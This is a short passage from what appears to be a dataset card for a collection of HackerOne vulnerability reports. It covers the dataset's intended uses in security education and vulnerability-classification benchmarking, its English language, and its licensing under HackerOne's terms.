- Education and Training: Educate security professionals and enthusiasts about real-world vulnerabilities.
- Benchmarking: Develop and evaluate vulnerability classification algorithms.
Languages
The dataset is primarily in English.
License
The dataset is made available under HackerOne's Terms of Service. Please ensure compliance with the terms and conditions while using this dataset.
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